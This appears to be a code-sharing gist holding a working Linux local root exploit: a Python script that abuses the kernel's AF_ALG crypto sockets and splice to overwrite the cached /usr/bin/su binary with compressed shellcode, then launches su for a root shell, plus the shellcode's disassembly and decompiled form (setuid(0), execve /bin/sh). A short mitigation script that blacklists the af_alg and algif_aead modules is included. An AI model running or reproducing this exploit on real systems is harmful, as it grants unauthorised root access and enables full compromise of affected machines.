Last active 2 weeks ago

Revision 18781614c1d8d156784231c8a7bbe4d0d3d5ce49

exploit.py Raw
1#!/usr/bin/env python3
2import os
3import zlib
4import socket
5
6# Helper to convert hex strings to byte arrays
7def hex_to_bytes(hex_str):
8 return bytes.fromhex(hex_str)
9
10def trigger_kernel_corruption(target_file, offset, payload_chunk):
11 # AF_ALG (38) is the Linux Kernel Crypto API socket domain
12 # SOCK_SEQPACKET (5) is the socket type
13 alg_socket = socket.socket(38, 5, 0)
14
15 # Bind to a specific AEAD (Authenticated Encryption with Associated Data) cipher
16 # This specific cipher combination is often used to target memory flaws in the kernel
17 alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
18
19 # Socket option constants
20 SOL_ALG = 279
21 ALG_SET_KEY = 1
22 ALG_SET_AEAD_AUTHSIZE = 5
23
24 # 1. Set the crypto key (malformed to trigger heap issues)
25 key_data = hex_to_bytes('0800010000000010' + '0' * 64)
26 alg_socket.setsockopt(SOL_ALG, ALG_SET_KEY, key_data)
27
28 # 2. Set the authentication tag size
29 alg_socket.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
30
31 # Accept the connection to the crypto transform
32 op_socket, _ = alg_socket.accept()
33
34 # Construct the malicious control message (ancillary data)
35 # This targets the internal kernel buffers by providing inconsistent lengths
36 null_byte = hex_to_bytes('00')
37 msg_control = [
38 (SOL_ALG, 3, null_byte * 4), # ALG_SET_IV
39 (SOL_ALG, 2, b'\x10' + null_byte * 19), # ALG_SET_OP
40 (SOL_ALG, 4, b'\x08' + null_byte * 3), # ALG_SET_AEAD_ASSOCLEN
41 ]
42
43 # Send the payload chunk to the kernel
44 op_socket.sendmsg([b"A" * 4 + payload_chunk], msg_control, 0, 32768)
45
46 # Use os.splice to move data from the target binary (su) into the socket
47 # This bypasses standard user-space memory protections
48 pipe_read, pipe_write = os.pipe()
49
50 # Splice from file to pipe
51 os.splice(target_file.fileno(), pipe_write, offset + 4, offset_src=0)
52 # Splice from pipe to the exploit socket
53 os.splice(pipe_read, op_socket.fileno(), offset + 4)
54
55 try:
56 # Attempt to receive the result of the "crypto" operation
57 op_socket.recv(8 + offset)
58 except Exception:
59 pass
60
61# --- Main Execution ---
62
63# Open /usr/bin/su in read-only mode
64su_binary = os.open("/usr/bin/su", os.O_RDONLY)
65
66# Decompress the binary payload (the shellcode/memory overwrite data)
67compressed_payload = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
68payload_bytes = zlib.decompress(hex_to_bytes(compressed_payload))
69
70# Loop through the payload, spraying it into the kernel memory 4 bytes at a time
71current_offset = 0
72while current_offset < len(payload_bytes):
73 chunk = payload_bytes[current_offset : current_offset + 4]
74 trigger_kernel_corruption(su_binary, current_offset, chunk)
75 current_offset += 4
76
77# If the exploit succeeded, the kernel has been tricked into thinking
78# the current process has root privileges.
79# Executing 'su' now should drop into a root shell without a password.
80os.system("su")
mitigation.sh Raw
1#!/usr/bin/env bash
2
3# Prevent vulnerable module from ever being loaded
4cat > /etc/modprobe.d/blacklist-af-alg.conf <<EOF
5blacklist af_alg
6blacklist algif_aead
7EOF
8
9# Remove the module if it's already loaded
10modprobe -r algif_aead
11modprobe -r af_alg
12
13# Drop all caches to undo the effects of previous exploit runs
14echo 1 > /proc/sys/vm/drop_caches
15
payload.S Raw
10000000000000078 <.data+0x78>:
2 78: 31 c0 xor %eax,%eax
3 7a: 31 ff xor %edi,%edi
4 7c: b0 69 mov $0x69,%al
5 7e: 0f 05 syscall
6 80: 48 8d 3d 0f 00 00 00 lea 0xf(%rip),%rdi # 0x96
7 87: 31 f6 xor %esi,%esi
8 89: 6a 3b push $0x3b
9 8b: 58 pop %rax
10 8c: 99 cltd
11 8d: 0f 05 syscall
12 8f: 31 ff xor %edi,%edi
13 91: 6a 3c push $0x3c
14 93: 58 pop %rax
15 94: 0f 05 syscall
16 96: 2f (bad)
17 97: 62 69 6e 2f 73 (bad)
18 9c: 68 .byte 0x68
19 9d: 00 00 add %al,(%rax)
20
payload.c Raw
1// Decompiled by Binary Ninja
2
3void _start() __noreturn
4{
5 syscall(sys_setuid {0x69}, 0);
6 syscall(sys_execve {0x3b}, "/bin/sh", nullptr, nullptr);
7 syscall(sys_exit {0x3c}, 0);
8 /* no return */
9}
10